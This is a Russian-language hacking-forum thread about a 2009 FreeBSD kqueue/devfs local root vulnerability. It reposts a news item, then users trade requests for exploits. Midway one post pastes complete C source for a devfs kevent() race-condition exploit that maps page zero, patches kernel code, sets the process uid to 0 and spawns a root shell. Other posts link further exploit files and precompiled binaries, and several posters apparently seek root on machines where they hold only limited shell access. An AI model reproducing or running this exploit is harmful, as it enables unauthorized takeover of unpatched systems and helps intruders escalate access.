PDA

Просмотр полной версии : Баг в FreeBSD позволяет получить локальный root


RumShun
16.09.2009, 05:39
15.09.2009
Один из исследователей обнаружил дыру в безопасности операционной системы FreeBSD, которая позволяет пользователям с ограниченными правами доступа получить полный контроль над системой.

Баг в программном интерфейсе оповещения kqueue, по словам польского эксперта Пржемислава Фрасунека, делает тривиальной задачу получения полных root-привилегий для пользователей, уже имеющих ограниченные права доступа в системе. Баг затрагивает операционные системы с номерами версий от 6.0 до 6.4, последние две из которых до сих пор широко используются и продолжают официально поддерживаться FreeBSD Foundation. Версии 7.1 и выше уязвимости к данному багу не имеют.

Для успешной эксплуатации уязвимости атакующий должен иметь локальный доступ в системе, то есть либо уже быть авторизованным пользователем, либо использовать для получения доступа еще какую-нибудь дыру (например, уязвимый PHP-скрипт). Фрасунек утверждает, что воспользоваться дырой проще простого, и в подтверждение своих слов он выложил соответствующий видеоролик:
_http://www.vimeo.com/6554787

Баг представляет собой ошибку приоритезации выполнения кода в kqueue, которая приводит к разыменовыванию пустого указателя в kernel mode. Использовав ее атакующий может внедрить код в страницу памяти с адресом 0x0.

Фрасунек подчеркнул также, что уведомил сотрудников FreeBSD о наличии бага еще 29 августа, однако ответа до сих пор не получил. Представитель FreeBSD Core Team Роберт Уотсон сообщил в ответ на соответствующий запрос, что электронное письмо, вероятнее всего, "затерялось в пути", и что руководство по решению данной проблемы должно появиться в ближайшее время.
_http://www.xakep.ru/post/49468/default.asp

X-3
16.09.2009, 10:55
"Затерялось". Сколько я им указывал на ошибки, в том же handbook'е, а письма все терялись да терялись...

tux
16.09.2009, 11:52
Потери писем лучше всего лечатся публичным сплоитом. ;)

DimOnOID
16.09.2009, 12:33
Потери писем лучше всего лечатся публичным сплоитом. ;)
и где же он?

drim
16.09.2009, 12:51
и где же он?
Нет его в паблике. Можно самому сделать )

drim
16.09.2009, 15:38
Кстати, не факт, что новость не фейк. Вполне возможно что кто-то пошутил. И на видео не показан вывод команды uname ДО выполнения сплойта.

tux
16.09.2009, 23:35
чето я не понял, как он в putty запущенном в висте ввел uname...
Эээ... а что такого? Само подсоединение он пропустил, конечно. Но в самой системе он показывает версию системы, потом компилирует и запускает файл. И становится рутом. Там же все в терминале делается.
Exploit в паблике нет. И описание бага я не нашел. Но тут, как бы, надо верить на слово, ибо у того экспериментатора есть имя.

ghostwizard
17.09.2009, 11:19
Первоначальный баг исходит отсюда:
_http://www.milw0rm.com/exploits/9488

Посути ничего нового, хорошо доработанное старое.

Keltos
17.09.2009, 14:19
Баг уже исправили?

Chertog
17.09.2009, 16:01
А вот сразу же вдогонку и для FreeBSD 7.2:
http://www.vimeo.com/6580991
Демонстрация таже, но баг уже совершенно другой:
"Another race condition leading to NULL ptr dereference. Please note: this is completely different vulnerability than 6.4 one. It affects 7.x up to 7.2 and 6.x up to 6.4. It's going to be handled by security team soon."
На данный момент, команда проекта FreeBSD работает над патчами. В паблике эксплойта нет.

ghostwizard
17.09.2009, 21:38
Баг уже исправили?

Нет. Вероятно заплатка будет к следующей/на следующей неделе. А пока пишем сплоит :)

Чекить фиксы можно отсюда:
_http://www.freebsd.org/security/advisories.html

Ty3uK
17.09.2009, 22:40
блин, как раз нада експлоит на 7.0 фрягу... просто ktimer не хочет работать... жду...

SeNaP
19.09.2009, 20:35
http://www.frasunek.com/kqueue.txt оно?
Кто сможет скомпилировать?

Ty3uK
20.09.2009, 00:24
это старая версия =/

apnic
26.10.2009, 22:38
вышел ксплоит откомпильте.
http://www.frasunek.com/devfs.txt

mindw0rk
29.10.2009, 02:43
Скомпильте, ну позязя :3 А лучше продемонстрируйте, как это сделать самому под обычным юзером во фряхе 6.3.
Доступны команды:
gcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip2, nc, locate

#endif

/* 14.09.2009, babcia padlina
* FreeBSD 7.2 devfs kevent() race condition exploit
*
* works only on multiprocessor systems
* compile with -lpthread
*/

#define JE_ADDRESS 0xc076c62b

/* location of "je" (0x74) opcode in devfs_fp_check() - it will be incremented
* becoming "jne" (0x75), so error won't be returned in devfs_vnops.c:648
* and junk function pointer will be called in devfs_vnops.c:650
*
* you can obtain it using:
* $ objdump -d /boot/kernel/kernel | grep -A 50 \<devfs_fp_check\>: | grep je | head -n 1 | cut -d: -f1
*/

#include <pthread.h>

#define _KERNEL

#include <sys/param.h>
#include <sys/conf.h>
#include <sys/ucred.h>
#include <fs/devfs/devfs_int.h>

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/timespec.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/proc.h>

int fd, kq;
struct kevent kev, ke;
struct timespec timeout;
volatile int gotroot = 0;

static void kernel_code(void) {
struct thread *thread;
gotroot = 1;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
thread->td_proc->p_ucred->cr_uid = 0;
thread->td_proc->p_ucred->cr_prison = NULL;

return;
}

static void code_end(void) {
return;
}

void do_thread(void) {
usleep(100);

while (!gotroot) {
memset(&kev, 0, sizeof(kev));
EV_SET(&kev, fd, EVFILT_READ, EV_ADD, 0, 0, NULL);

if (kevent(kq, &kev, 1, &ke, 1, &timeout) < 0)
perror("kevent");

}

return;
}

void do_thread2(void) {
while(!gotroot) {
/* any devfs node will work */
if ((fd = open("/dev/null", O_RDONLY, 0600)) < 0)
perror("open");

close(fd);
}

return;
}

int main(void) {
int i;
pthread_t pth, pth2;
struct cdev devp;
char *p;
unsigned long *ap;

/* 0x1c used for vp->v_rdev dereference, when vp=0 */
/* 0xa5610e8 used for vp->r_dev->si_priv dereference */
/* 0x37e3e1c is junk dsw->d_kqfilter() in devfs_vnops.c:650 */

unsigned long pages[] = { 0x0, 0xa561000, 0x37e3000 };
unsigned long sizes[] = { 0xf000, 0x1000, 0x1000 };

for (i = 0; i < sizeof(pages) / sizeof(unsigned long); i++) {
printf(" allocating %p @ %p\n", sizes[i], pages[i]);
if (mmap((void *)pages[i], sizes[i], PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
perror("mmap");
return -1;
}
}

*(unsigned long *)0x1c = (unsigned long)(JE_ADDRESS - ((char *)&devp.si_threadcount - (char *)&devp));

p = (char *)pages[2];
ap = (unsigned long *)p;

for (i = 0; i < sizes[2] / 4; i++)
*ap++ = (unsigned long)&kernel_code;

if ((kq = kqueue()) < 0) {
perror("kqueue");
return -1;
}

pthread_create(&pth, NULL, (void *)do_thread, NULL);
pthread_create(&pth2, NULL, (void *)do_thread2, NULL);

timeout.tv_sec = 0;
timeout.tv_nsec = 1;

printf("waiting for root...\n");
i = 0;

while (!gotroot && i++ < 10000)
usleep(100);

setuid(0);

if (getuid()) {
printf("failed - system patched or not MP\n");
return -1;
}

execl("/bin/sh", "sh", NULL);

return 0;
}

ShAnKaR
29.10.2009, 03:47
Скомпильте, ну позязя :3 А лучше продемонстрируйте, как это сделать самому под обычным юзером во фряхе 6.3.
Доступны команды:


проще написать что сам компили и какие ошибки?

$n@ke
29.10.2009, 14:48
http://www.sendspace.com/file/bpdqw0
на оба.

BULLSHARK
12.04.2010, 08:41
на оба.

Линк умер :-(
Залейте. Кто проверял, поможет на версии FreeBSD 6.3-RELEASE #5: Fri Oct i386 2009 ? Перерыл весь милворм, может кто встречал эксплоит под данную версию ?

ilya9166
13.04.2010, 02:39
Линк умер :-(
Залейте. Кто проверял, поможет на версии FreeBSD 6.3-RELEASE #5: Fri Oct i386 2009 ? Перерыл весь милворм, может кто встречал эксплоит под данную версию ?

попробуй http://www.frasunek.com/pipe.txt , если не пропатчена то должно прокатить.

отпишись о результате.